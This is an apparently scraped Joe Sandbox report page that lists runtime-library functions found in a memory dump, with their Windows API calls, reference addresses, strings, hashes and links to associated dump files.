Associated: 00000007.00000002.2429216192.0000000000AFD000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_ad0000_3a0398bc51.jbxd

Similarity

API ID: __freea$__alloca_probe_16$Info
String ID:
API String ID: 127012223-0
Opcode ID: 98aad842c1c3fdbd0c0795e4d876ad213ea9b683db7e414b9a6615d9ad9f4d77
Instruction ID: 922b9ca66bc2efefbfa471287cf6a0c06fb32c08b90995b0bbaa3acab74b10db
Opcode Fuzzy Hash: 98aad842c1c3fdbd0c0795e4d876ad213ea9b683db7e414b9a6615d9ad9f4d77
Instruction Fuzzy Hash: B0711A72E002869BDF20AFA6CD45FAF7BF69F65310F144055E905AB281E775EC408762

Function 00AD54C5 Relevance: 12.2, APIs: 8, Instructions: 177COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000001,00000001,?), ref: 00AD550C
__alloca_probe_16.LIBCMT ref: 00AD5538
MultiByteToWideChar.KERNEL32(00000000,00000001,00000001,?,00000000,00000000), ref: 00AD5577
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00AD5594
LCMapStringEx.KERNEL32(?,?,00000000,00000000,?,?,00000000,00000000,00000000), ref: 00AD55D3
__alloca_probe_16.LIBCMT ref: 00AD55F0
LCMapStringEx.KERNEL32(?,?,00000000,00000001,00000000,00000000,00000000,00000000,00000000), ref: 00AD5632
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,?,00000000,00000000), ref: 00AD5655

Memory Dump Source

Source File: 00000007.00000002.2429059441.0000000000AD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000007.00000002.2429025903.0000000000AD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429097295.0000000000AEC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429124722.0000000000AF5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429147668.0000000000AF6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429169852.0000000000AF8000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429191899.0000000000AFA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429216192.0000000000AFD000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_ad0000_3a0398bc51.jbxd

Similarity

API ID: ByteCharMultiStringWide$__alloca_probe_16
String ID:
API String ID: 2040435927-0
Opcode ID: f0f5396b3406997ee393f3cf994a858de5b1fbe99ab682d02a95964002139280
Instruction ID: 4e01accc4c7ae5e95ba6b972d162c8220aba0ebe73be26e9528cc885d5f81d70
Opcode Fuzzy Hash: f0f5396b3406997ee393f3cf994a858de5b1fbe99ab682d02a95964002139280
Instruction Fuzzy Hash: 9C519172A00606AFEF219FB5CC45FBA7BBAEF40B90F684416F91696290DB31DD11CB50

Function 00AD61E0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 130COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00AD6217
___except_validate_context_record.LIBVCRUNTIME ref: 00AD621F
_ValidateLocalCookies.LIBCMT ref: 00AD62A8
__IsNonwritableInCurrentImage.LIBCMT ref: 00AD62D3
_ValidateLocalCookies.LIBCMT ref: 00AD6328

Strings

csm, xrefs: 00AD62BD

Memory Dump Source

Source File: 00000007.00000002.2429059441.0000000000AD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000007.00000002.2429025903.0000000000AD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429097295.0000000000AEC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429124722.0000000000AF5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429147668.0000000000AF6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429169852.0000000000AF8000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429191899.0000000000AFA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429216192.0000000000AFD000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_ad0000_3a0398bc51.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 493a8001bb88b4fbd3c95cc4594a3fc41c472f21e2c6ef8d2014cf23718bdf2c
Instruction ID: 397e5438f057e39fe18c474b87d8fab82ed86409e38d1931f52cd04c290a79b8
Opcode Fuzzy Hash: 493a8001bb88b4fbd3c95cc4594a3fc41c472f21e2c6ef8d2014cf23718bdf2c
Instruction Fuzzy Hash: 3441B474E00219ABCF10EF68C884ADE7BB5EF45324F148556F9169B352D731AA06CB90

Function 00ADF469 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,00ADF578,00AD186A,?,00000000,00AD31E1,00AD186C,?,00ADF1F6,00000022,FlsSetValue,00AEDFE0,00AEDFE8,00AD31E1), ref: 00ADF52A

Strings

api-ms-, xrefs: 00ADF4C0
ext-ms-, xrefs: 00ADF4D4

Memory Dump Source

Source File: 00000007.00000002.2429059441.0000000000AD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000007.00000002.2429025903.0000000000AD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429097295.0000000000AEC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429124722.0000000000AF5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429147668.0000000000AF6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429169852.0000000000AF8000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429191899.0000000000AFA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429216192.0000000000AFD000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_ad0000_3a0398bc51.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: 8b18fdb4d5a47c77ccf7830c4f8e40bb4576f3e9f5b3f9fcc72c7ecaab4752d5
Instruction ID: fca4897066a7e427217a02857d5d1dc2c46048d0875afefc7cc7ecd5a41515d8
Opcode Fuzzy Hash: 8b18fdb4d5a47c77ccf7830c4f8e40bb4576f3e9f5b3f9fcc72c7ecaab4752d5
Instruction Fuzzy Hash: E721A572A01212AFCB21DFA5FC45A6B7768AF41764B244131FD17A7391E770EE01C6D0

Function 00AE625D Relevance: 9.3, APIs: 6, Instructions: 292COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2429059441.0000000000AD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000007.00000002.2429025903.0000000000AD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429097295.0000000000AEC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429124722.0000000000AF5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429147668.0000000000AF6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429169852.0000000000AF8000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429191899.0000000000AFA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429216192.0000000000AFD000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_ad0000_3a0398bc51.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f884ff133d00005f419ad3b59be25bc6e094b3fe6f7bec294cd1ed5b38ad7812
Instruction ID: d7c6b526b44842877e445337697333b70272143a60972dbd552c1c122aaefd3c
Opcode Fuzzy Hash: f884ff133d00005f419ad3b59be25bc6e094b3fe6f7bec294cd1ed5b38ad7812
Instruction Fuzzy Hash: 66B14471A00289AFCF11DFEAD990BBE7BB1BF69340F144959E5119B382C770D942CB61

Function 00ADD2C0 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00ADD2B7,00AD5FB7,00AD5179), ref: 00ADD2CE
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00ADD2DC
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00ADD2F5
SetLastError.KERNEL32(00000000,00ADD2B7,00AD5FB7,00AD5179), ref: 00ADD347

Memory Dump Source

Source File: 00000007.00000002.2429059441.0000000000AD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000007.00000002.2429025903.0000000000AD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429097295.0000000000AEC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429124722.0000000000AF5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429147668.0000000000AF6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429169852.0000000000AF8000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429191899.0000000000AFA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429216192.0000000000AFD000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_ad0000_3a0398bc51.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 74281a84ea802bd87d74ac4c0e17f3108e194bbd6a3c0050e20408d6fa25ffa8
Instruction ID: 2b81aa94ad598a9ba2178c2a98c658aed2071978dd143eda696a6b648684d66c
Opcode Fuzzy Hash: 74281a84ea802bd87d74ac4c0e17f3108e194bbd6a3c0050e20408d6fa25ffa8
Instruction Fuzzy Hash: 7E01D43260E7119EAB296BF5ADC597A3E94EF017B4720032BF222592E0EF914C06D681

Function 00ADDB88 Relevance: 9.1, APIs: 2, Strings: 3, Instructions: 301COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 00ADDCA7
CallUnexpected.LIBVCRUNTIME ref: 00ADDF20

Strings

csm, xrefs: 00ADDCDE
csm, xrefs: 00ADDC32
csm, xrefs: 00ADDBC5

Memory Dump Source

Source File: 00000007.00000002.2429059441.0000000000AD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000007.00000002.2429025903.0000000000AD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429097295.0000000000AEC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429124722.0000000000AF5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429147668.0000000000AF6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429169852.0000000000AF8000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429191899.0000000000AFA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429216192.0000000000AFD000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_ad0000_3a0398bc51.jbxd

Similarity

API ID: CallUnexpectedtype_info::operator==
String ID: csm$csm$csm
API String ID: 2673424686-393685449
Opcode ID: fecbd1e35d729d38733735e46fe81fc5600b8afc98fad1483365aee7fa35e926
Instruction ID: 706891af6c3542d3de575c832c16ab09338e705efcfbd886f0c53083dd1062fb
Opcode Fuzzy Hash: fecbd1e35d729d38733735e46fe81fc5600b8afc98fad1483365aee7fa35e926
Instruction Fuzzy Hash: DFB18871800209EFCF28DFA4C9859AEBBB5FF18310F15455BE812AB316DB71EA51CB91

Function 00AD8C55 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,6482D5A3,?,?,00000000,00AEB774,000000FF,?,00AD8D16,00AD8BFD,?,00AD8DB2,00000000), ref: 00AD8C8A
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00AD8C9C
FreeLibrary.KERNEL32(00000000,?,?,00000000,00AEB774,000000FF,?,00AD8D16,00AD8BFD,?,00AD8DB2,00000000), ref: 00AD8CBE

Strings

CorExitProcess, xrefs: 00AD8C94
mscoree.dll, xrefs: 00AD8C83

Memory Dump Source

Source File: 00000007.00000002.2429059441.0000000000AD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000007.00000002.2429025903.0000000000AD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429097295.0000000000AEC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429124722.0000000000AF5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429147668.0000000000AF6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429169852.0000000000AF8000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429191899.0000000000AFA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429216192.0000000000AFD000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_ad0000_3a0398bc51.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 04487e1197c758cc27c9011cdf2c5d8ad10f0f083764ff4f848f5e2c82a1ef12
Instruction ID: b52903f3422340f6ffffc298c6a0ddc409987a03e4738db981ad2ab37166d437
Opcode Fuzzy Hash: 04487e1197c758cc27c9011cdf2c5d8ad10f0f083764ff4f848f5e2c82a1ef12
Instruction Fuzzy Hash: 55018432911659FBCB11DBD0CC49FBEB7B8FB44B11F000525F812A22D0DBB89900CA90

Function 00ADFC3D Relevance: 7.7, APIs: 5, Instructions: 197COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00ADFCC2
__alloca_probe_16.LIBCMT ref: 00ADFD8B
__freea.LIBCMT ref: 00ADFDF2

Part of subcall function 00ADE531: RtlAllocateHeap.NTDLL(00000000,00AD31E1,00AD186A,?,00AD60C1,00AD186C,00AD186A,?,?,?,00AD3181,00AD31E1,00AD186E,00AD186A,00AD186A,00AD186A), ref: 00ADE563

__freea.LIBCMT ref: 00ADFE05
__freea.LIBCMT ref: 00ADFE12

Memory Dump Source

Source File: 00000007.00000002.2429059441.0000000000AD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000007.00000002.2429025903.0000000000AD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429097295.0000000000AEC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429124722.0000000000AF5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429147668.0000000000AF6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429169852.0000000000AF8000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429191899.0000000000AFA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429216192.0000000000AFD000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_ad0000_3a0398bc51.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID:
API String ID: 1423051803-0
Opcode ID: 788ce7ecaeb2d47b91890ac52c61df1a51f1481f39ae13bb5e931fd6aafa7dda
Instruction ID: 7852073eced2202159c4f5424f9ea887ce8438dceab65a8a7388f092066aa99f
Opcode Fuzzy Hash: 788ce7ecaeb2d47b91890ac52c61df1a51f1481f39ae13bb5e931fd6aafa7dda
Instruction Fuzzy Hash: 1A51B572600246AFDF20AF61DD85EBB77AAEF44714B15053AFD07DA311EB34DD6086A0

Function 00AD3010 Relevance: 7.5, APIs: 5, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00AD3017
std::_Lockit::_Lockit.LIBCPMT ref: 00AD3022
std::_Lockit::~_Lockit.LIBCPMT ref: 00AD3090

Part of subcall function 00AD2EE4: std::locale::_Locimp::_Locimp.LIBCPMT ref: 00AD2EFC

std::locale::_Setgloballocale.LIBCPMT ref: 00AD303D
_Yarn.LIBCPMT ref: 00AD3053

Memory Dump Source

Source File: 00000007.00000002.2429059441.0000000000AD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000007.00000002.2429025903.0000000000AD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429097295.0000000000AEC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429124722.0000000000AF5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429147668.0000000000AF6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429169852.0000000000AF8000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429191899.0000000000AFA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429216192.0000000000AFD000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_ad0000_3a0398bc51.jbxd

Similarity

API ID: Lockitstd::_std::locale::_$H_prolog3LocimpLocimp::_Lockit::_Lockit::~_SetgloballocaleYarn
String ID:
API String ID: 1088826258-0
Opcode ID: 0db0a6ed5b673ddcd0786133f9ef28cd4c740aa96143ccfbbf1890017f375281
Instruction ID: 62a5b84909b2e784b5becab74ebd0f4f1fff681cc9a1db2d681336a9d7c531dc
Opcode Fuzzy Hash: 0db0a6ed5b673ddcd0786133f9ef28cd4c740aa96143ccfbbf1890017f375281
Instruction Fuzzy Hash: F50178B6A001259BCF0AEFA0DA55ABD7B61FF94740B14400AE91367391DF34AF02CBD1

Function 00AE7E92 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,00AE7F2E,00000000,?,00AF6E10,?,?,?,00AE7E65,00000004,InitializeCriticalSectionEx,00AEE57C,00AEE584), ref: 00AE7E9F
GetLastError.KERNEL32(?,00AE7F2E,00000000,?,00AF6E10,?,?,?,00AE7E65,00000004,InitializeCriticalSectionEx,00AEE57C,00AEE584,00000000,?,00ADE1DC), ref: 00AE7EA9
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 00AE7ED1

Strings

api-ms-, xrefs: 00AE7EB6

Memory Dump Source

Source File: 00000007.00000002.2429059441.0000000000AD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000007.00000002.2429025903.0000000000AD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429097295.0000000000AEC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429124722.0000000000AF5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429147668.0000000000AF6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429169852.0000000000AF8000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429191899.0000000000AFA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429216192.0000000000AFD000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_ad0000_3a0398bc51.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: 00185ee09643e4bdc5bd4d4589ba97e872c1a69c1b202297867b741f080eb772
Instruction ID: 795e1006ca5f9778b42f1ed5f98e6c5a7d2e08111fc047da43d5e1667d66bd2e
Opcode Fuzzy Hash: 00185ee09643e4bdc5bd4d4589ba97e872c1a69c1b202297867b741f080eb772
Instruction Fuzzy Hash: 69E01271284249B6DF10ABF2DC06B693A59EB10B95F104060FB0DB84E1D7A299519AC4

Function 00AE562D Relevance: 6.3, APIs: 4, Instructions: 333fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(6482D5A3,00000000,00000000,?), ref: 00AE5690

Part of subcall function 00ADE641: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,00ADFDE8,?,00000000,-00000008), ref: 00ADE6A2

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00AE58E2
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 00AE5928
GetLastError.KERNEL32 ref: 00AE59CB

Memory Dump Source

Source File: 00000007.00000002.2429059441.0000000000AD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000007.00000002.2429025903.0000000000AD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429097295.0000000000AEC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429124722.0000000000AF5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429147668.0000000000AF6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429169852.0000000000AF8000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429191899.0000000000AFA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429216192.0000000000AFD000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_ad0000_3a0398bc51.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: 6baf69de77cbf5f6b48c5842ec8c84f61c6794cee9e83d54cc916b002dceb88f
Instruction ID: e0abb2ffa845704fa0a1dc390fe4a6c203e8ce10c15d7ded6ccbbb9eacc319df
Opcode Fuzzy Hash: 6baf69de77cbf5f6b48c5842ec8c84f61c6794cee9e83d54cc916b002dceb88f
Instruction Fuzzy Hash: 31D16875D04688DFCB15CFE9E8809EEBBB5EF08314F28452AE456EB352D630A942CB50

Function 00ADD8AF Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 00ADD976
___AdjustPointer.LIBCMT ref: 00ADD999
___AdjustPointer.LIBCMT ref: 00ADDA35

Memory Dump Source

Source File: 00000007.00000002.2429059441.0000000000AD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000007.00000002.2429025903.0000000000AD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429097295.0000000000AEC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429124722.0000000000AF5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429147668.0000000000AF6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429169852.0000000000AF8000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429191899.0000000000AFA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429216192.0000000000AFD000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_ad0000_3a0398bc51.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: ef6a62d055c2fe2a5d157d53ed8f865d5dbbfdfca97a9d8ed9d2f74711873c98
Instruction ID: b50e69895fbd475e83dbbc2b542ec14990e9085e35d04758f96079fa64fca7b9
Opcode Fuzzy Hash: ef6a62d055c2fe2a5d157d53ed8f865d5dbbfdfca97a9d8ed9d2f74711873c98
Instruction Fuzzy Hash: 2251EF76A05602AFDB299F64C991B7AB7B4EF05310F14442FE8439BB91E732ED40CB90

Function 00AE3537 Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 00ADE641: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,00ADFDE8,?,00000000,-00000008), ref: 00ADE6A2

GetLastError.KERNEL32(00000000,?,?,00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,00000000,00000000), ref: 00AE359B
__dosmaperr.LIBCMT ref: 00AE35A2
GetLastError.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,00000000,00000000), ref: 00AE35DC
__dosmaperr.LIBCMT ref: 00AE35E3

Memory Dump Source

Source File: 00000007.00000002.2429059441.0000000000AD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000007.00000002.2429025903.0000000000AD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429097295.0000000000AEC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429124722.0000000000AF5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429147668.0000000000AF6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429169852.0000000000AF8000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429191899.0000000000AFA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429216192.0000000000AFD000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_ad0000_3a0398bc51.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: 9027dcd38abd2389a9df081affdb5a322dbac246a616c81d4653e88e64734290
Instruction ID: 233e72637cf31b052c743133fbdb5d0099dac10255ff6f8d06b714ddcf8c621b
Opcode Fuzzy Hash: 9027dcd38abd2389a9df081affdb5a322dbac246a616c81d4653e88e64734290
Instruction Fuzzy Hash: 5F21D773600645AFDF20AFA7898593FB7A9FF40364700851AF86687701EB30EF0087A1

Function 00AD8042 Relevance: 6.1, APIs: 4, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2429059441.0000000000AD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000007.00000002.2429025903.0000000000AD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429097295.0000000000AEC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429124722.0000000000AF5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429147668.0000000000AF6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429169852.0000000000AF8000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429191899.0000000000AFA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429216192.0000000000AFD000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_ad0000_3a0398bc51.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c244679c3e8647aaaeb1d1d93a9b43c9b87861cbab19801934708db14e74c7f6
Instruction ID: 1307e28219fe554ed4e4fdb964dfcf43565bc9cf06942d33a913ff4b5f0e49ed
Opcode Fuzzy Hash: c244679c3e8647aaaeb1d1d93a9b43c9b87861cbab19801934708db14e74c7f6
Instruction Fuzzy Hash: 3F21AE31200205AFDB20EF61CD8096A77A9EF54364710862BF86B87351EF79EC0587A1

Function 00AE484F Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 00AE4857

Part of subcall function 00ADE641: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,00ADFDE8,?,00000000,-00000008), ref: 00ADE6A2

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00AE488F
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00AE48AF

Memory Dump Source

Source File: 00000007.00000002.2429059441.0000000000AD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000007.00000002.2429025903.0000000000AD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
